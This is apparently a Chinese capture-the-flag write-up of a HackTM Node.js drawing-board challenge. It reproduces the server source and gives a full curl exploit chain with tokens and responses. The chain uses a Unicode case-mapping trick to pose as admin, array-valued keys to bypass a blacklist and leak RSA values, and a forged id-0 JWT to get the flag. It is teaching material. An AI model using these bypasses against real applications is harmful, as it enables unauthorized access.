HackTM 遇到的一道 JavaScript 相关 CTF 考题,太久没接触相关领域以至于都快忘记相关的考点了,这里再特定总结一下。
题目分析
题目链接如下:http://167.172.165.153:60000/
可以看到题目直接给出了相关源码:
const express = require("express");
const cors = require("cors");
const app = express();
const uuidv4 = require("uuid/v4");
const md5 = require("md5");
const jwt = require("express-jwt");
const jsonwebtoken = require("jsonwebtoken");
const server = require("http").createServer(app);
const io = require("socket.io")(server);
const bigInt = require("big-integer");
const { flag, p, n, _clearPIN, jwtSecret } = require("./flag");
const config = {
port: process.env.PORT || 8081,
width: 120,
height: 80,
usersOnline: 0,
message: "Hello there!",
p: p,
n: n,
adminUsername: "hacktm",
whitelist: ["/", "/login", "/init"],
backgroundColor: 0x888888,
version: Number.MIN_VALUE
};
io.sockets.on("connection", function(socket) {
config.usersOnline++;
socket.on("disconnect", function() {
config.usersOnline--;
});
});
let users = {
0: {
username: config.adminUsername,
rights: Object.keys(config)
}
};
let board = new Array(config.height)
.fill(0)
.map(() => new Array(config.width).fill(config.backgroundColor));
let boardString = boardToStrings();
app.use(express.json());
app.use(cors());
app.use(
jwt({ secret: jwtSecret }).unless({
path: config.whitelist
})
);
app.use(function(error, req, res, next) {
if (error.name === "UnauthorizedError") {
res.json(err("Invalid token or not logged in."));
}
});
function sign(o) {
return jsonwebtoken.sign(o, jwtSecret);
}
function isAdmin(u) {
return u.username.toLowerCase() == config.adminUsername.toLowerCase();
}
function ok(data = {}) {
return { status: "ok", data: data };
}
function err(msg = "Something went wrong.") {
return { status: "error", message: msg };
}
function onlyUnique(value, index, self) {
return self.indexOf(value) === index;
}
app.get("/", (req, res) => {
// Get current board
res.json(ok({ board: boardString }));
});
app.post("/init", (req, res) => {
// Initialize new round and sign admin token
// RSA protected!
// POST
// {
// p:"0",
// q:"0"
// }
let { p = "0", q = "0", clearPIN } = req.body;
let target = md5(config.n.toString());
let pwHash = md5(
bigInt(String(p))
.multiply(String(q))
.toString()
);
if (pwHash == target && clearPIN === _clearPIN) {
// Clear the board
board = new Array(config.height)
.fill(0)
.map(() => new Array(config.width).fill(config.backgroundColor));
boardString = boardToStrings();
io.emit("board", { board: boardString });
}
//Sign the admin ID
let adminId = pwHash
.split("")
.map((c, i) => c.charCodeAt(0) ^ target.charCodeAt(i))
.reduce((a, b) => a + b);
console.log(adminId);
res.json(ok({ token: sign({ id: adminId }) }));
});
app.get("/flag", (req, res) => {
// Get the flag
// Only for root
if (req.user.id == 0) {
res.send(ok({ flag: flag }));
} else {
res.send(err("Unauthorized"));
}
});
app.get("/serverInfo", (req, res) => {
// Get server info
// Only for logged in users
let user = users[req.user.id] || { rights: [] };
let info = user.rights.map(i => ({ name: i, value: config[i] }));
res.json(ok({ info: info }));
});
app.post("/paint", (req, res) => {
// Paint on the canvas
// Only for logged in users
// POST
// {
// x:0,
// y:0
// }
let user = users[req.user.id] || {};
x = req.body.x;
y = req.body.y;
let color = user.color || 0x0;
if (board[y] && board[y][x] >= 0) {
board[y][x] = color;
boardString = boardToStrings();
io.emit("change", { change: { pos: [x, y], color: color } });
res.send(ok());
} else {
res.send(err("Invalid painting"));
}
});
app.post("/updateUser", (req, res) => {
// Update user color and rights
// Only for admin
// POST
// {
// color: 0xDEDBEE,
// rights: ["height", "width", "usersOnline"]
// }
let uid = req.user.id;
let user = users[uid];
if (!user || !isAdmin(user)) {
res.json(err("You're not an admin!"));
return;
}
let color = parseInt(req.body.color);
users[uid].color = (color || 0x0) & 0xffffff;
let rights = req.body.rights || [];
if (rights.length > 0 && checkRights(rights)) {
users[uid].rights = user.rights.concat(rights).filter(onlyUnique);
}
res.json(ok({ user: users[uid] }));
});
app.post("/login", (req, res) => {
// Login
// POST
// {
// username: "dumbo",
// }
let u = {
username: req.body.username,
id: uuidv4(),
color: Math.random() < 0.5 ? 0xffffff : 0x0,
rights: [
"message",
"height",
"width",
"version",
"usersOnline",
"adminUsername",
"backgroundColor"
]
};
if (isValidUser(u)) {
users[u.id] = u;
res.send(ok({ token: sign({ id: u.id }) }));
} else {
res.json(err("Invalid creds"));
}
});
function isValidUser(u) {
return (
u.username.length >= 3 &&
u.username.toUpperCase() !== config.adminUsername.toUpperCase()
);
}
function boardToStrings() {
return board.map(b => b.join(","));
}
function checkRights(arr) {
let blacklist = ["p", "n", "port"];
for (let i = 0; i < arr.length; i++) {
const element = arr[i];
if (blacklist.includes(element)) {
return false;
}
}
return true;
}
server.listen(config.port, () =>
console.log(`Server listening on port ${config.port}!`)
);
首先是源码审计,很容易就能看到路由:
app.get("/flag", (req, res) => {
// Get the flag
// Only for root
if (req.user.id == 0) {
res.send(ok({ flag: flag }));
} else {
res.send(err("Unauthorized"));
}
});
该路由要求用户 id 等于 0,结合到程序使用了 jwt,在无法伪造 jwt 的情况下,需要考虑如何获得 id 为 0 的用户的 jwt,此时观察到以下路由:
app.post("/init", (req, res) => {
// Initialize new round and sign admin token
// RSA protected!
// POST
// {
// p:"0",
// q:"0"
// }
let { p = "0", q = "0", clearPIN } = req.body;
let target = md5(config.n.toString());
let pwHash = md5(
bigInt(String(p))
.multiply(String(q))
.toString()
);
if (pwHash == target && clearPIN === _clearPIN) {
// Clear the board
board = new Array(config.height)
.fill(0)
.map(() => new Array(config.width).fill(config.backgroundColor));
boardString = boardToStrings();
io.emit("board", { board: boardString });
}
//Sign the admin ID
let adminId = pwHash
.split("")
.map((c, i) => c.charCodeAt(0) ^ target.charCodeAt(i))
.reduce((a, b) => a + b);
console.log(adminId);
res.json(ok({ token: sign({ id: adminId }) }));
});
很明显在 n = p * q
时,有 adminId
等于 0,此时能获得 id 为 0 的 token,因此下一步就是如何泄露程序的 p 和 n,这里观察到以下路由:
app.get("/serverInfo", (req, res) => {
// Get server info
// Only for logged in users
let user = users[req.user.id] || { rights: [] };
let info = user.rights.map(i => ({ name: i, value: config[i] }));
res.json(ok({ info: info }));
});
会将 user.rights
内的值作为 key 得到 config[key] 的值,而 p / n 恰好在 config 对象内,所以下一步就是如何给 user.rights
增加 p 和 n 这两个值,继续看下一个路由:
app.post("/updateUser", (req, res) => {
// Update user color and rights
// Only for admin
// POST
// {
// color: 0xDEDBEE,
// rights: ["height", "width", "usersOnline"]
// }
let uid = req.user.id;
let user = users[uid];
if (!user || !isAdmin(user)) {
res.json(err("You're not an admin!"));
return;
}
let color = parseInt(req.body.color);
users[uid].color = (color || 0x0) & 0xffffff;
let rights = req.body.rights || [];
if (rights.length > 0 && checkRights(rights)) {
users[uid].rights = user.rights.concat(rights).filter(onlyUnique);
}
res.json(ok({ user: users[uid] }));
});
很明显,只要满足 !isAdmin(user)
和 checkRights(rights)
两个函数即可。看两个函数的实现:
function isAdmin(u) {
return u.username.toLowerCase() == config.adminUsername.toLowerCase();
}
function checkRights(arr) {
let blacklist = ["p", "n", "port"];
for (let i = 0; i < arr.length; i++) {
const element = arr[i];
if (blacklist.includes(element)) {
return false;
}
}
return true;
}
结合注册用户时的检验函数:
function isValidUser(u) {
return (
u.username.length >= 3 &&
u.username.toUpperCase() !== config.adminUsername.toUpperCase()
);
}
很明显本题的考点非常清楚:
- 找到一个字符串 s 使其满足
s.toUpperCase() !== config.adminUsername.toUpperCase()
且s.toLowerCase() == config.adminUsername.toLowerCase()
- 找到属性 key 使其满足
["p", "n", "port"].includes(key) === false
而且config[key] === p
下面直接贴 exp:
exp
# /login
curl --location --request POST 'http://167.172.165.153:60001/login' \
--header 'Content-Type: application/json' \
--data-raw '{
"username": "hacKtm"
}'
# {"status":"ok","data":{"token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6ImVmNDdlZTM2LTZjZTMtNGNmMS04OThiLWIwMGEwMGY2NTQ3NiIsImlhdCI6MTU4MDYxNzY3OH0.yzF9x5J7tbnjUWt-rXRd-WOKHXYTC1u9RFgcdv6DSEs"}}
# /updateUser
curl --location --request POST 'http://167.172.165.153:60001/updateUser' \
--header 'Content-Type: application/json' \
--header 'Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6ImVmNDdlZTM2LTZjZTMtNGNmMS04OThiLWIwMGEwMGY2NTQ3NiIsImlhdCI6MTU4MDYxNzY3OH0.yzF9x5J7tbnjUWt-rXRd-WOKHXYTC1u9RFgcdv6DSEs' \
--data-raw '{
"color": 123,
"rights": [["n"],["p"]]
}'
# {"status":"ok","data":{"user":{"username":"hacKtm","id":"ef47ee36-6ce3-4cf1-898b-b00a00f65476","color":0,"rights":["message","height","width","version","usersOnline","adminUsername","backgroundColor",["n"],["p"]]}}}
# /serverInfo
curl --location --request GET 'http://167.172.165.153:60001/serverInfo' \
--header 'Content-Type: application/json' \
--header 'Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6ImVmNDdlZTM2LTZjZTMtNGNmMS04OThiLWIwMGEwMGY2NTQ3NiIsImlhdCI6MTU4MDYxNzY3OH0.yzF9x5J7tbnjUWt-rXRd-WOKHXYTC1u9RFgcdv6DSEs'
# "status":"ok","data":{"info":[{"name":"message","value":"Hello there!"},{"name":"height","value":80},{"name":"width","value":120},{"name":"version","value":5e-324},{"name":"usersOnline","value":17},{"name":"adminUsername","value":"hacktm"},{"name":"backgroundColor","value":8947848},{"name":["n"],"value":"54522055008424167489770171911371662849682639259766156337663049265694900400480408321973025639953930098928289957927653145186005490909474465708278368644555755759954980218598855330685396871675591372993059160202535839483866574203166175550802240701281743391938776325400114851893042788271007233783815911979"},{"name":["p"],"value":"192342359675101460380863753759239746546129652637682939698853222883672421041617811211231308956107636139250667823711822950770991958880961536380231512617"}]}}
# /init
curl --location --request POST 'http://167.172.165.153:60001/init' \
--header 'Content-Type: application/json' \
--header 'Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6ImVmNDdlZTM2LTZjZTMtNGNmMS04OThiLWIwMGEwMGY2NTQ3NiIsImlhdCI6MTU4MDYxNzY3OH0.yzF9x5J7tbnjUWt-rXRd-WOKHXYTC1u9RFgcdv6DSEs' \
--data-raw '{
"p": "192342359675101460380863753759239746546129652637682939698853222883672421041617811211231308956107636139250667823711822950770991958880961536380231512617",
"q": "283463585975138667365296941492014484422030788964145259030277643596460860183630041214426435642097873422136064628904111949258895415157497887086501927987",
"clearPIN": "2333"
}'
# {"status":"ok","data":{"token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MCwiaWF0IjoxNTgwNjE4ODgyfQ.rBRCrfHfhhv_hfgN9ZZedzRMOQQ8wj0zBXiqobX-B7Q"}}
# /flag
curl --location --request GET 'http://167.172.165.153:60001/flag' \
--header 'Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MCwiaWF0IjoxNTgwNjE4ODgyfQ.rBRCrfHfhhv_hfgN9ZZedzRMOQQ8wj0zBXiqobX-B7Q'
# {"status":"ok","data":{"flag":"HackTM{Draw_m3_like_0ne_of_y0ur_japan3se_girls}"}}
JavaScript Tricks
Unicode
看以下这段代码:
for(let i = 0; i < 0xffff; i++) {
let c = String.fromCharCode(i)
if(c.toLowerCase() == 'k' && c.toUpperCase()!= 'K') {
console.log(i)
}
}
正常情况下应该没有任何结果,但在 js 里,会得到一个很有意思的值 8490,对应的字符是 K
,该字符并非大写字母 K
,而是拉丁字母,但对应的小写得到的是 k
,这也算一个比较有意思的 JavaScript Trick,剩下的还有许多字母也有这种特性,这里就不再多讲了。
toString
观察以下代码:
$ node
Welcome to Node.js v12.4.0.
Type ".help" for more information.
> const array = ['n']
undefined
> console.log(array)
[ 'n' ]
undefined
> array
[ 'n' ]
> array + 'c'
'nc'
这主要是因为 JavaScript 对 Array 对象的 toString
函数的默认实现是等价于 array.join(',')
,返回由 ,
拼接而成的字符串,而在访问 JavaScript 对象时,如果以数组作为键名,实际是以数组 toString()
函数的返回值作为键名,因此继续看以下代码:
> let a = ['a']
undefined
> let aa = ['a']
undefined
> aa === a
false
> let b = {}
undefined
> b[a] = 'c'
'c'
> b[a] === b[aa]
true
不难理解,由于两个数组是不同的对象,因此 a === aa
返回的是 false
;而二者 toString()
函数的返回值相同,因此在对象中二者实际是同一个键,b[a] === b[aa]
返回的是 true
。